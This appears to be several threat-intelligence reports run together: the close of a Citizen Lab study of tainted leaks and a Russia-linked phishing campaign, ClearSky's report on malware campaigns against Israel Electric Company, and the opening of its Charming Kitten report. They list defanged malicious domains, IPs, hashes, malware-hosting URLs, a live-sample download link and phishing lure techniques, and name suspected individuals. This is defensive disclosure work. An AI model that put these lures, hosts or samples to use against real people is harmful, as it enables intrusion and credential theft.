+dimming enthusiasm to quickly report 
+finds.
+ Amplification of the 
+leaks
+ was further blocked
+by a 
+recommendation to media
+ by the French electoral authority to not 
+relay
+ the leaks. The
+authority pointed to the presence of fakes, and warned of possible legal implications for
+reporting the story.
+Following the voting, staff from the Macron campaign claimed in the media that the stolen
+documents also likely contained fakes created by the campaign, designed to waste the time of
+intruders. This claim also cast further doubt on the veracity of any documents contained in the
+leaks.
+Tainted Leaks: Old Methods, New Tactics
+Stealing digital information for intelligence purposes is a well-known and commonly practiced
+tactic used by states. However, a unique aspect of Russian cyber espionage distinguishing it
+from other governments is the public release of exfiltrated data intended to embarrass or
+discredit adversaries. Known as 
+kompromat
+, this type of activity is common in Russia, and
+was previously used by the Soviet Union, and is evident in the publication of emails on
+Wikileaks related to United States officials involved in the 2016 U.S. presidential election
+campaign.
+Releasing Satter
+s e-mails could be roughly described as kompromat. However, with his
+cooperation we were able to identify a second feature of the release: the deliberate tampering
+with the content of his messages. This mixing of fact and falsehood is thus also a
+disinformation strategy.
+33/43
+In Russian / Soviet military doctrine, the practice of deliberately propagating forged documents
+and disinformation is known as 
+dezinformatsiya
+, referring to manipulation of information in
+the service of the propagation of falsehoods. Although practiced for decades by Russia and
+the Soviet Union, the use of dezinformatsiya in connection with cyber espionage is a new and
+troublesome frontier in structured digital disinformation.
+Why Target Civil Society?
+Our investigation identified civil society targets inside and outside of Russia. This targeting is
+consistent with a general consensus on how the Russian regime thinks: whether domestic or
+foreign, civil society is treated as a threat to the regime, its extended kleptocracy, and the
+sovereignty of the country.
+There are at least two reasons why civil society factors highly into Russian perceptions of
+threats. First, independent civil society groups can create difficulties for the regime by
+spotlighting corruption and abuse of power, speaking freely about issues the government
+would rather keep in the shadows, and mobilizing people into organized opposition.
+Those unfamiliar with the Russian experience may overlook a second motivation, which is
+drawn from the larger Russian narrative of humiliation and defeat at the hands of the United
+States and its allies at the end of the Cold War. Some Russian leaders, especially those tied
+to the old Soviet system, resent US triumphalism, and see local civil society (except for those
+under their direct control) as instruments of US and western interference in Russian domestic
+politics. For example, Putin used the term 
+active measures
+ to describe the actions of thenSecretary of State Hillary Clinton during the 2011 Moscow demonstration. This narrative of
+Russia as a 
+besieged fortress
+ is used as justification for the repression and targeting of civil
+society groups both inside Russia proper, in the former Soviet spaces, and abroad.
+While often overlooked by western media and policymakers, this threat model translates in
+practice into targeted digital surveillance operations on civil society, both domestically and
+abroad. Of special concern to the government are NGOs, journalists, and activists that are
+seen as having links to the West and / or are funded by western governments. Many of the
+targets of this campaign are connected in some degree to United States-based think tanks and
+fellowships.
+Of equal concern to the government, however, are the actions of domestic NGOs and
+individuals. As our report shows, a principal motivation for the targeting of David Satter and
+the tainting of leaks derived from materials stolen from him was to falsely portray local Russian
+groups as having affiliations and even funding ties to western organizations and the U.S.
+government.
+Conclusion
+Tainted leaks are a growing and particularly troublesome addition to disinformation tactics, and
+in the current digital environment are likely to become more prevalent. In the 2017 French
+34/43
+presidential election, tainted leaks appear to have been used in an attempt to discredit the
+political party and candidate for election directly. The target of the tainting was roughly the
+same entity that suffered the breach. In the cases we analyzed, however, tainted leaks were
+used to discredit third parties who had not been the victims of the original breach. This
+difference highlights yet another facet of the growing trend of leak-branded releases, and the
+challenges they pose.
+Tainted leaks
+fakes in a forest of facts
+test the limits of how media, citizen journalism, and
+social media users handle fact checking, and the amplification of enticing, but questionable
+information. As a tactic, tainted leaks are an evolution of much older strategies for
+disinformation, and like these earlier strategies, pose a clear threat to public trust in the
+integrity of information. Interestingly, while the tainting we describe appears to have a primarily
+domestic aim, to discredit elements of the Russian opposition, it is readily applied globally.
+The report identified a phishing campaign with over 200 unique targets from 39 countries. We
+do not conclusively attribute the technical elements of this campaign to a particular sponsor,
+but there are numerous elements in common between the campaign we analyzed and that
+which has been publicly reported by industry groups as belonging to threat actors affiliated with
+Russia.
+Given Russia
+s well-known preference for the use of proxy actors, it would be highly unlikely
+that a group such as ours, which relies on open source information, would be able to discover a
+conclusive link in a case like this. However, it is worth reiterating that the resources of a
+government would likely be necessary to manage such a large and ambitious campaign, given
+the number of languages spoken by targets, and their areas of work. The group includes a
+former Russian Prime Minister, a global list of government ministers, ambassadors, military
+and government personnel, CEOs of oil companies, and members of civil society from more
+than three dozen countries.
+The targets we found are connected to, or have access to, information concerning issues in
+which the Russian government has a demonstrated interest. These issues range from
+investigations of individuals close to the Russian president, to the Ukraine, NATO, foreign
+think tanks working on Russia and the Crimea, grantmakers supporting human rights and free
+expression in Russia, and the energy sector in the Caucasus.
+Considering this primary Russian focus, as well as the technical evidence pointing to overlaps
+and stylistic similarities with groups attributed to the Russian government, we believe there is
+strong circumstantial
+but not conclusive
+evidence for Russian government sponsorship of
+the phishing campaign, and the tainted leaks.
+The civil society targets of this operation deserve special attention. At least 21% of the targets
+from our set were journalists, activists, scholars and other members of civil society. All too
+often, threats against civil society groups receive second-billing in industry reporting and media
+coverage of government-linked operations.
+Yet, in this case, members of civil society were both the targets of disinformation in the form of
+35/43
+tainted leaks, and represented a large proportion of the phished targets. In a cautionary note
+for grantmakers, several dozen targets all held the same fellowship, from the same
+organization. This common affiliation suggests that they may have been targeted because of
+their relationship with the grantmaker.
+We hope this report will encourage others to engage in further research into the techniques
+used to propagate tainted leaks, as well as serving as a reminder of the often under-reported
+presence of civil society targets among government-linked phishing and malware operations.
+Acknowledgements
+Special thanks to David Satter, Raphael Satter, and the Open Society Foundations for
+cooperating and providing us with materials necessary to conduct the investigation.
+Thanks to the Citizen Lab team who provided review and assistance, especially Bill Marczak,
+Masashi Crete-Nishihata, Etienne Maynier, Adam Senft, Irene Poetranto, and Amitpal Singh.
+We would like to thank additional researchers for comments and feedback including Jen
+Weedon, Alberto Fittarelli, Exigent Petrel and TNG.
+Support for Citizen Lab
+s research on targeted threats comes from the John D. and Catherine
+T. MacArthur Foundation, the Open Society Foundations, the Oak Foundation, Sigrid Rausing
+Trust, and the Ford Foundation.
+Appendix A: The Tainting
+36/43
+37/43
+38/43
+39/43
+Figure 29: Full text of the tainted leak released by CyberBerkut showing tainting
+Inserted Articles and their Contents
+Article
+Author
+Theme
+Informational
+Stuffing: What is
+Known about
+Each
+President Sergei
+Roldugin
+Elizaveta
+Surnachyova
+Discusses the relationship between Putin and Sergei Roldugin (a
+cellist and financial associate of Putin). Roldugin is friends with many
+Putin insiders, and holds a 3.2% stake in Bank Rossiya. He also
+formerly ran two media groups and one oil company.
+The Budget of
+Katherine
+Tikhonova
+s Fund
+Has Grown by
+Half
+Vyacheslav
+Kozlov and
+Ivan
+Tkachyov
+Innopraktika, a fund managed by Putin
+s daughter, saw a very large
+funding increase.
+Igor Shuvalov
+Tsar-apartment
+Costs 600 Times
+as Ordinary
+Apartments He
+Laughed at
+Alexei
+Navalny
+Part of a series on the shell companies used by Igor Shuvalov, and his
+purchase of a lavish and extremely expensive apartment.
+Portraying
+Benefactor: 
+Pays for the
+Projects Related
+to Putin
+Examines the processes by which oligarchs repay the Russian
+president by contributing money to 
+charities
+ and pet projects. These
+include the funds managed by Tikhonova and Roldugin.
+40/43
+Article
+Author
+Theme
+Journalists Have
+Found Analogues
+of the Ozero
+Cooperative All
+Over the Central
+Russia
+Slon
+Relates to a Transparency International and Meduza.io investigation
+documenting replications of the Ozero Cooperative (Putin
+s dacha
+organization) across Russia. This cooperative involves private dacha
+(cottage) communities in which politicians, public servants and
+businessmen live in close proximity, allowing them to conduct informal
+meetings.
+There, Beyond
+the 6-Meter-High
+fall of
+Medvedev
+Dacha
+Alexei
+Navalny
+Discusses the 80 hectare (officially only 2 hectare) property belonging
+to Medvedev, and paid for by oligarchs through contributions made to
+charitable funds.
+He is Putin
+Cook. He is
+Putin
+s Troll. He
+is a Billionaire
+Alexei
+Navalny
+A look at Dmitry Rogozin, who runs the 
+troll factory
+ on Savushkina
+Street in St. Petersburg. He also controls a series of unrelated
+companies providing everything from catering to cleaning services to
+power distribution which benefit from government contracts.
+Apartment Worth
+More than Half a
+Billion
+Was Found at
+Putin
+s ExBodyguard
+Samename [sic]
+Maria
+Zholobova
+and Maria
+Borzunova
+Putin
+s former bodyguard and now governor of Tula region, Alexei
+Dyumin, is registered as owning an apartment worth between 500-700
+million rubles. Curiously, the apartment was purchased while Dyumin
+was serving in the Russian Ministry of Defence. .
+Samolet
+Development is
+Ready to IPO
+Irina
+Gruzinova,
+Ivan
+Vasiliev,
+Irina
+Skrynnik
+Samolot Developments
+ is a property development firm building
+condos. The company was purchased by Invest AG. Samolot
+Developments managed to develop land and obtain permits where
+others could not given its close ties to the governor of Moscow region,
+Andrey Vorobev. His brother, Maksim, is one of Samolot
+s founders.
+How Katherine
+Tikhonova
+s Fund
+is Doing
+Alexei
+Navalny
+This report describes multi-million dollar contracts from state firms with
+the science and tech fund managed by Putin
+s daughter. The fund also
+received 
+anonymous donations
+ totalling roughly half its budget,
+leading to 2015 revenues of 877 million rubles. Includes quotes of
+vague and nonsensical project descriptions used to justify payouts.
+Appendix B: Test Account
+Examining the Google+ page for the myprimaryreger[@]gmail.com account reveals a
+suspicious series of posts:
+41/43
+Figure 30 B: Google+ profile page for myprimaryreger[@]gmail.com
+Each of the Google+ profile posts by this user contain images which are routinely observed in
+legitimate security warning emails sent by Google. Once an image file is uploaded to a
+Google+ profile post, it is copied to Google servers and can be obtained using an associated
+perma-link.
+We suspect that the purpose of these posts is to allow the operator to embed links to Googlespecific images into their phishing emails in the hopes that linking to images hosted on Google
+servers will somehow thwart Gmail malicious email detection controls.
+Appendix C: Indicators of Compromise
+Domain Names
+IP Addresses
+Email Addresses
+id833[.]ga
+89.40.181.119
+g.mail2017[@]yandex.com
+id834[.]ga
+89.32.40.238
+annaablony[@]mail.com
+id9954[.]gq
+80.255.12.237
+myprimaryreger[@]gmail.com
+id4242[.]ga
+mail-google-login.blogspot[.]com
+com-securitysettingpage[.]tk
+Footnotes
+Colour Revolution
+ is a term that has been widely used to describe the pro-democracy
+protests and social movements that occurred in the early 2000s throughout the former Soviet
+Union.
+2 Several individuals were targeted in both of the two distinct campaigns we analysed.
+3 The Citizen Lab receives financial support for its research from a range of funders, including
+the Open Society Foundations. See https://citizenlab.ca/about/
+42/43
+Vedomosti
+ is a Russian language daily news service connected to The Moscow Times (and
+in which The Financial Times and Dow Jones had a stake until 2015, when Vedomosti and
+The Moscow Times were bought out by Russian business interests).
+5 The six character base36 sequence space contains over 2.1 billion combinations. Checking
+each one with a one-second delay (so as not to abuse the Tiny.cc web service) would take
+approximately 66 years.
+43/43
+Operation Electric Powder 
+ Who is targeting Israel Electric
+Company?
+clearskysec.com /iec/
+Attackers have been trying to breach IEC (Israel Electric Company) in a year-long campaign.
+From April 2016 until at least February 2017, attackers have been spreading malware via fake Facebook profiles
+and pages, breached websites, self-hosted and cloud based websites. Various artifacts indicate that the main target
+of this campaign is IEC 
+ Israel Electric Company. These include domains, file names, Java package names, and
+Facebook activity. We dubbed this campaign 
+Operation Electric Powder
+Israel Electric Company (also known as Israel Electric Corporation) 
+is the largest supplier of electrical power in
+Israel. The IEC builds, maintains, and operates power generation stations, sub-stations, as well as transmission and
+distribution networks. The company is the sole integrated electric utility in the State of Israel. It installed generating
+capacity represents about 75% of the total electricity production capacity in the country.
+It is notable that the operational level and the technological sophistication of the attackers are not high. Also, they
+are having hard time preparing decoy documents and websites in Hebrew and English. Therefore, in most cases a
+vigilant target should be able to notice the attack and avoid infection. We do not have indication that the attacks
+succeeded in infecting IEC related computers or stealing information.
+Currently we do not know who is behind Operation Electric Powder or what its objectives are. See further discussion
+in the Attribution section.
+Impersonating Israeli news site
+The attackers registered and used in multiple attacks the domain ynetnewes[.]com (note the extra e). This domain
+impersonates ynetnews.com, the English version of ynet.co.il 
+ one of Israel
+s most popular news sites.
+Certain pages within the domain would load the legitimate Ynet website:
+1/13
+Others, which are opened as decoy during malware infection, had copied content from a different news site:
+The URL ynetnewes[.]com/video/Newfilm.html contained an article about Brad Pitt and Marion Cotillard copied from
+another site. At the bottom was a link saying 
+Here For Watch It !
+2/13
+The link pointed to goo[.]gl/zxhJxu (Google
+s URL shortening service). According to the statistics page, it had been
+created on September 25, 2016 and have been clicked only 11 times. When clicked, it would redirect to
+iecr[.]co/info/index_info.php .
+We do not know what was the content in the final URL. We estimate that it served malware. The domain iecr[.]co
+was used as a command and control server for other malware in this campaign.
+Another URL, http://ynetnewes[.]com/resources/assets/downloads/svchost.exe
+hosted a malware file called program_stream_film_for_watch.exe.
+(d020b08f5a6aef1f1072133d11f919f8)
+Fake Facebook profile 
+ Linda Santos
+One of the above mentioned malicious URLs was spread via comments by a fake Facebook profile 
+ Linda Santos
+(no longer available):
+In September 2016, the fake profile commented to posts by Israel Electric Company:
+3/13
+4/13
+The profile had dozens of friends, almost all were IEC employees:
+5/13
+The fake profile was following only three pages, one of which was the IEC official page:
+Pokemon Go Facebook page
+In July 2016, when mobile game 
+Pokemon Go
+ was at the peak of its popularity, the attackers created a Facebook
+page impersonating the official Pokemon Go page:
+The page, which is no longer available, had about one hundred followers 
+ most were Arab Israelis and some were
+Jewish Israelis.
+Only one post was published, with text in English and Hebrew. Grammatical mistakes indicate the attackers are not
+native to both languages:
+6/13
+The post linked to a malicious website hosted in yolasite.com (which is a legitimate website building and hosting
+platform):
+pokemonisrael.yolasite[.]com
+The button 
+literal translation 
+To download phone and computer
+) linked to a zip file in
+another website:
+7/13
+http://iec-co-il[.]com/iec/electricity/Pokemon-PC.zip
+Note that the domain being impersonated is that of Israel Electric Company
+s website (iec.co.il).
+Pokemon-PC.zip (40303cd6abe7004659ca3447767e4eb7) contained Pokemon-PC.exe
+(e45119a72677ed15ee0f04ef936a9803), which at run time drops monitar.exe
+(d3e0b129bad263e6c0dcb1a9da55978b):
+Android phone malware
+The attackers also distributed a malicious app for Android devices 
+ pokemon.apk
+(3137448e0cb7ad83c433a27b6dbfb090). This malware also had characteristics that impersonate IEC, such as the
+package name:
+The application is a dropper that extracts and installs a spyware. The dropper does not ask for any permission
+during installation:
+However, when the spyware is installed, it asks for multiple sensitive
+permissions:
+The victim ends up with two applications installed on their device. The
+Dropper, pretending to be a Pokemon Go app, adds an icon to the phone
+dashboard. However, it does not have any functionality, and when clicked,
+this error message is displayed:
+Error 505
+Sorry, this version is not compatible with your android version.
+The dropper does not really check what android version is installed:
+8/13
+The message is intended to make the victim believe that the Pokemon game does not work because of compatibility
+issues.
+The victim is likely to uninstall the application at this point. However, because a second application was installed, the
+phone would stay infected unless it is uninstalled as well.
+9/13
+Websites for Malware distribution
+Malware was also hosted in legitimate breached Israeli websites, such as this educational website:
+http://www.bagrut3.org[.]il/upload/edu_shlishit/passwordlist.exe (defc340825cf56f18b5ba688e6695e68)
+and a small law firm
+s website:
+http://sheinin[.]co.il/MyPhoto.zip (650fcd25a917b37485c48616f6e17712)
+In journey-in-israel[.]com, the attackers inserted an exploit code for CVE-2014-6332 
+ a Windows code execution
+vulnerability. The exploit was copied from an online source, likely from here, as the code included the same
+comments. The website also hosted this malware: afd5288d9aeb0c3ef7b37becb7ed4d5c.
+In other cases, the attackers registered and built malicious websites: users-management[.]com
+and sourcefarge[.]net (similar to legitimate software website sourceforge.net). The latter was redirecting to journeyin-israel[.]com and iec-co-il[.]com in May and July 2016, according to PassiveTotal:
+Sample 24befa319fd96dea587f82eb945f5d2a, potentially only a test file, is a self-extracting archive (SFX) that
+contains two files: a legitimate Putty installation and link.html:
+When run, while putty is installed, the html file is opened in a browser and redirects to http://tinyurl[.]com/jerhz2a and
+then to http://users-management[.]com/info/index_info.php?id=9775. The last page 302 redirects to the website of
+an Israeli office supply company Mafil:
+10/13
+Sample f6d5b8d58079c5a008f7629bdd77ba7f , also a self-extracting archive, contained a decoy PDF document
+and a backdoor:
+The PDF, named IEC.pdf, is a warranty document taken from Mafil
+s public website. It is displayed to the victim
+while the malware (6aeb71d05a2f9b7c52ec06d65d838e82) is infecting its computer:
+Windows Malware
+The attackers developed three malware types for Windows based computers:
+11/13
+Dropper 
+ self-extracting archives that extract and run the backdoor, sometimes while opening a decoy PDF
+document or website.
+(For example: 6fa869f17b703a1282b8f386d0d87bd4)
+Trojan backdoor / downloader 
+ malware that collects information about the system and can download
+and execute other files. (909125d1de7ac584c15f81a34262846f)
+Some samples had two hardcoded command and control servers: iecrs[.]co and iecr[.]co (note once again
+the use of IEC in the domain name).
+Keylogger / screen grabber 
+ records keystrokes and takes screenshots. The malware file is compiled
+Python code. (d3e0b129bad263e6c0dcb1a9da55978b)
+An analysis of the malware and other parts of the campaign was published by Mcafee in on November 11, 2016.
+The latest known sample in this campaign (7ceac3389a5c97a3008aae9a270c706a) has compilation timestamp of
+February 12, 2017. It is dropped when 
+pdf file products israel electric.exe
+ (c13c566b079258bf0782d9fb64612529)
+is executed.
+Attribution
+In a report that covers other parts of the campaign, Mcafee attribute it to Gaza Cybergang (AKA Gaza Hacker Team
+AKA Molerats). However, the report does not present strong evidence to support this conclusion.
+While initially we thought the same, currently we cannot relate Operation Electric Powder to any known group.
+Moreover, besides Mohamad potentially being the name of the malware developer (based on PDB string found in
+multiple
+samples: C:\Users\Mohammed.MU\Desktop\AM\programming\C\tsDownloader\Release\tsDownloader.pdb
+), we do not have evidence that the attackers are Arabs.
+Indicators of compromise
+Indicators file: Operation-Electric-Powder-indicators.csv (also available on PassiveTotal).
+Notably, all but one of the IP addresses in use by the attackers belong to German IT services provider
+Accelerated IT Services GmbH
+ (AS31400):
+84.200.32.211
+84.200.2.76
+84.200.17.123
+84.200.68.97
+82.211.30.212
+82.211.30.186
+82.211.30.192
+Florian Roth shared a Yara rule to detect the downloader: Operation-Electric-Powder-yara.txt
+The graph below depicts the campaign infrastructure (click the image to see the full graph):
+12/13
+Live samples can be downloaded from the following link:
+https://ln.sync[.]com/dl/30e722bf0#f72zgiwk-zxcp3e9t-fa9jyakr-zpbf5hgg
+(Please email info@clearskysec.com to get the password.)
+Acknowledgments
+This research was facilitated by PassiveTotal for threat infrastructure analysis, and by MalNet for malware research.
+13/13
+Charming Kitten
+Iranian cyber espionage against human rights
+activists, academic researchers and media outlets and the HBO hacker connection
+ClearSky Cyber Security
+December 2017
+Contents
+Introduction ..........................................................................................................................................................3
+Targets .........................................................................................................................................................3
+Charming Kitten or Rocket kitten? .......................................................................................................................4
+The HBO hacker and Charming Kitten ..................................................................................................................5
+HBO hacking indictment ..............................................................................................................................5
+Connection to Iranian government backed threat agent ............................................................................5
+From Mesri to Charming Kitten ...................................................................................................................6
+Delivery and Infection ........................................................................................................................................16
+Made up organizations and people ...............................................................................................................16
+British News ...............................................................................................................................................16
+Made up studens and jurnalists.................................................................................................................24
+Impersonating real companies.......................................................................................................................30
+United Technologies impersonation..........................................................................................................30
+Watering holes ...............................................................................................................................................32
+Spear Phishing for credential stealing............................................................................................................34
+Wave 1 .......................................................................................................................................................34
+Wave 2 .......................................................................................................................................................36
+Wave 3 .......................................................................................................................................................37
+Email tracking services ...............................................................................................................................45
+Targeted emails with malware.......................................................................................................................46
+DownPaper Malware ..........................................................................................................................................47
+Additional samples.....................................................................................................................................49
+MAGICHOUND.RETRIEVER .................................................................................................................................50
+Appendix A - Indicators of Compromise.............................................................................................................51
+Appendix B - Previous reports about Charming Kitten and Rocket Kitten .........................................................59
+Page 2 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Introduction
+Charming Kitten is an Iranian cyberespionage group operating since approximately 2014. This report exposes
+their vast espionage apparatus, active during 2016-2017. We present incidents of company impersonation,
+made up organizations and individuals, spear phishing and watering hole attacks. We analyze their
+exploitation, delivery, and command-and-control infrastructure, and expose DownPaper, a malware
+developed by the attackers, which has not been publicly documented to date.
+Incidents documented in this report are likely a small fraction of the actual amount of targeted attacks,
+which may reach thousands of individuals. We expose more than 85 IP addresses, 240 malicious domains,
+hundreds of hosts, and multiple fake entities 
+ most of which were created in 2016-2017. The most recent
+domains (com-archivecenter[.]work, com-messengerservice[.]work and com-videoservice[.]work) were
+registered on December 2nd, 2017, and have probably not been used in attacks yet.
+We present the connection between Behzad Mesri, an Iranian national recently indicted for his involvement
+in hacking HBO, and Charming Kitten. We also identify other members of the group.
+This report refers to two likely distinct groups, Charming Kitten and Rocket Kitten, together. This is not to
+say that the two groups are one, but that due to overlap in infrastructure, tools, targets, and modus
+operandi we are unable to precisely attribute each incident to one or the other. Further discussion appears
+in the section "Charming Kitten or Rocket kitten?"
+Targets
+The attackers' focus appears to be individuals of interest to Iran in the fields of Academic research (i.e.
+Iranists - Scholars who study Iran), Human right and media. Emphasis is given to Iranian dissidents living in
+Iran or abroad, and people who come in touch with Iranians or report on Iranian affairs such as journalists
+and reporters, media outlets covering Iran, and political advisors.
+Most targets known to us are individuals living in Iran, the United States, Israel, and the UK. Others live in
+Turkey, France, Germany, Switzerland, United Arab Emirates, India, Denmark and other countries.
+Notably, the attackers usually try to gain access to private email and Facebook accounts. They seek to
+infiltrate the targets
+ social network as a hop point to breach other accounts in their social network, or to
+collect information about their targets. Sometimes, they aim at establishing a foothold on the target
+computer to gain access into their organization, but, based on our data, this is usually not their main
+objective, as opposed to other Iranian threat groups, such as Oilrig1 and CopyKittens2.
+http://www.clearskysec.com/oilrig/
+http://www.clearskysec.com/tulip/
+Page 3 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Charming Kitten or Rocket kitten?
+While Iranian threat actors have been well documented by security researchers, the inner workings of the
+ecosystem of Iran's hackers is not entirely clear. Groups can be vigorously active for years and then
+disappear abruptly, sometimes due to being publicly outed. Researchers make a best-faith effort to assign
+operations to certain groups, but the instability in the field makes the process challenging.
+A case of these obscure lines can be found in a blogpost published in coordination and parallel to this report
+Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code
+3 by Collin Anderson and Claudio
+Guarnieri. Flying Kitten (which is another name given by the security industry to Charming Kitten) was one of
+the first groups to be described as a coherent threat actor conducting operations against political opponents
+of the IRI (Islamic Republic of Iran) government and foreign espionage targets. FireEye
+s publication of
+Operation Saffron Rose
+ report, which described Flying Kitten
+s operations against aviation firms, led to the
+dismantling of Flying kitten's infrastructure and the apparent end of its activities. Months later, another,
+seemingly distinct group, 
+Rocket Kitten,
+ would be described by a series of reports.
+While the two groups exhibited different behaviors that lend credence to the assumption they were distinct,
+disclosures of private toolkits strongly suggest that Rocket Kitten had used Flying Kitten resources
+throughout its credential-theft operations. Moreover, Rocket Kitten had experimented with reusing malware
+that appeared to be an undisclosed precursor to Flying Kitten's 
+Stealer
+ agent documented by FireEye.
+These overlaps provide some indication that Rocket Kitten had some relationship to Flying Kitten 
+ perhaps
+members of the latter joining the new team. Rocket Kitten has since largely subsided as a formidable actor,
+and repeating the theme of its predecessor now only appears in echoes of other campaigns.
+Read -
+Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code
+ here:
+https://iranthreats.github.io/resources/attribution-flying-rocket-kitten.
+Further information is available in "Appendix B - Previous reports about Charming Kitten and Rocket Kitten".
+https://iranthreats.github.io/resources/attribution-flying-rocket-kitten
+Page 4 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+The HBO hacker and Charming Kitten
+HBO hacking indictment
+In November 21, 2017, the United States Department of Justice unsealed an indictment4 against Behzad
+Mesri (A.K.A 
+Skote Vahshat
+)5 for his involvement hacking and extorting HBO, and for subsequently leaking
+the stolen content on the Internet. Leaked content included confidential information about upcoming
+episodes of the popular television series, 
+Game of Thrones,
+ and video files containing unreleased episodes
+of other television series created by HBO6.
+According to the indictment, "Mesri is an Iran-based computer hacker who had previously worked on behalf
+of the Iranian military to conduct computer network attacks that targeted military systems, nuclear software
+systems, and Israeli infrastructure. At certain times, Mesri has been a member of an Iran-based hacking
+group called the Turk Black Hat security team".
+Connection to Iranian government backed threat agent
+Security researcher Collin Anderson of Iran Threats7 tagged Mesri's twitter account8 in a tweet9 suggesting
+that Mesri might be related to Charming Kitten.
+https://www.justice.gov/usao-sdny/pr/acting-manhattan-us-attorney-announces-charges-against-iranian-nationalconducting
+https://www.fbi.gov/wanted/cyber/behzad-mesri
+Other stolen content includes: (a) confidential video files containing unaired episodes of original HBO television
+programs, including episodes of 
+Barry,
+Ballers,
+Curb Your Enthusiasm,
+Room 104,
+ and 
+The Deuce
+; (b) scripts
+and plot summaries for unaired programs, including but not limited to episodes of 
+Game of Thrones
+; (c) confidential
+cast and crew contact lists; (d) emails belonging to at least one HBO employee; (e) financial documents; and (f) online
+credentials for HBO social media accounts (collectively, the 
+Stolen Data
+https://iranthreats.github.io/
+https://twitter.com/skote_vahshat
+https://twitter.com/CDA/status/932992141466279936
+Page 5 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Subsequently, we tried to find connections of Mesri to other activities and people mentioned in this report.
+Thanks to the public nature of how Mesri and other members of Turk Black Hat conducted their hacking
+activities and private online life, we could find several connections. This is not to say that the HBO hack was
+ordered by the Iranian government. Rather, we try to strengthen the assumption that Mesri was, at a certain
+time, part of, or related to Charming Kitten. In addition, we unmask other members of the group based on
+their connection to Mesri and to Charming Kitten infrastructure.
+From Mesri to Charming Kitten
+ArYaIeIrAN (AKA aryaieiran@gmail.com AKA aryaieiran@hotmail.com AKA mno_1988_fgh@yahoo.com)
+is a 29 years old Iranian hacker and member of Turk Black Hat. Below is his profile page in "Iranian
+engineers club"10:
+http://www.iran-eng.ir/member.php/77662-ArYaiEiRan?langid=1
+Page 6 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+A list of websites he defaced, listed on Zone-H11:
+And a mirror page of a defacement he made in 2012, showing some of his team members and email address:
+http://www.zone-h.org/archive/notifier=ArYaIeIrAn
+Page 7 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+The same email address, aryaieiran@gmail.com, shows up in the SOA (Start of Authority) record of multiple
+domains registered and used by Charming Kittens that are presented in this report. These include
+britishnews.com[.]co, britishnews[.]org, broadcastbritishnews[.]com and mehrnews[.]info. All these websites
+used persiandns[.]net as their NS (name server), as can be seen in PassiveTotal12 13:
+https://community.riskiq.com/search/britishnews.org
+https://community.riskiq.com/search/britishnews.com.co
+Page 8 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+aryaieiran@gmail.com also registered persiandns[.]net, potentially indicating that he is the administrator of
+the services and an employee in the company:
+In a defacement, still online at the time of writing, both ArYaIeIrAn and Skote_Vahshat, the HBO hacker, take
+credit as members of Turk Black Hat. This indicates that both were members of Turk Black Hat at the same
+time, and likely knew each other.
+Page 9 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+persiandns[.]net hosting services, which hosted malicious domains used by charming kitten, redirects to
+mahanserver[.]ir, indicating it is the same company:
+The about page (
+of mahanserver[.]ir leads to a 404 error page:
+Page 10 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+The CEO of mahanserver[.]ir is Mohammad Rasoul Akbari (A.K.A ra3ou1), likely the boss or partner of
+ArYaIeIrA:
+Page 11 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+The two follow each other on twitter:
+Akbari is a Facebook friend of the HBO hacker, Behzad Mesri 14.
+https://www.facebook.com/friendship/sk0te.vahshat/ra3ou1/
+Page 12 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+On Linkedin, MahanServer only has two employees: CEO Mohammad Rasoul Akbari and Mohammadamin
+Keshvari:
+Interestingly, Mohammadamin Keshvari's profile picture is a pomegranate, like that of ArYaIeIrAN
+s twitter
+account15:
+https://twitter.com/aryaieiran
+Page 13 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Moreover, Mohammadamin Keshvari mentions in his LinkedIn profile that he works at ARia Dc (ariadc[.]com,
+ariadc[.]net) which was registered by aryaieiran@gmail.com for three days in 2013 before changing to a
+generic email16:
+ARia Dc later turned into MahanServer, as can be seen in Waybac Machine:
+Data from DomainTools whois history.
+Page 14 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+To sum up, the HBO hacker - Behzad Mesri is a member of Turk Black Hat along with ArYaIeIrAn, who
+provides infrastructure for Charming Kitten activity via PersianDNS / Mahanserver together with
+Mohammad Rasoul Akbari, who is a Facebook friend of Behzad Mesri's. We tend to identify ArYaIeIrAn with
+Mohammadamin Keshvari, because the latter is the only other employee of Mahanserver and works in a
+company whose domain was registered by the former (and both have a similar and unique profile picture).
+We estimate with medium certainty that the three are directly connected to Charming Kitten, and
+potentially, along with others 
+ are Charming Kitten.
+We used SocialNet, Shadow Dragon
+s Maltego transform for social media analysis17 to analyze these
+connections and visually depict them, as can be seen below:
+https://shadowdragon.io/product/socialnet
+Page 15 of 59
+All rights reserved to ClearSky Cyber Security, 2017
+Delivery and Infection
+Charming Kitten attack their targets using the following methods:
+Made up organizations and people 
+ entities are made up to lure people into malicious websites or
+to receive malicious messages.
+Impersonating real companies 
+ real companies are impersonated, making victims believe they are
+communicating or visiting the website of the real companies.
+Watering hole attacks 
+ inserting malicious JavaScript code into breached strategic websites.
+Spear phishing 
+ pretending to be Gmail, Facebook, and other services providers, or pretending to
+be a friend of the target sharing a file or a link.
+These methods are elaborated below.
+Made up organizations and people
+British News
+Charming kitten regularly target international media outlets with Persian-language services. Two recent
+reports 
+ "How Iran tries to control news coverage by foreign-based journalists"18 and "Iranian agents
+blackmailed BBC reporter with 
+naked photo
+ threats"19 describe harassment and intimidation methods
+applied by Iranian intelligence agencies. These campaigns often target reporters and journalists in phishing
+attempts.
+On the same note, we identified a fake-news agency "established" by the attackers, called 
+The British news
+agency
+ or 
+Britishnews
+ (inspired by BBC)20. Its website domain is britishnews.com[.]co and two other
+domains, broadcastbritishnews[.]com and britishnews[.]org, redirected to it. Below are screenshots of the
+main page of the website, which is online at time of writing:
+https://rsf.org/en/news/how-iran-tries-control-news-coverage-foreign-based-journalists
+http://www.arabnews.com/node/1195681/media
+Outed in collaboration with Forbs On Jan 2017, see 
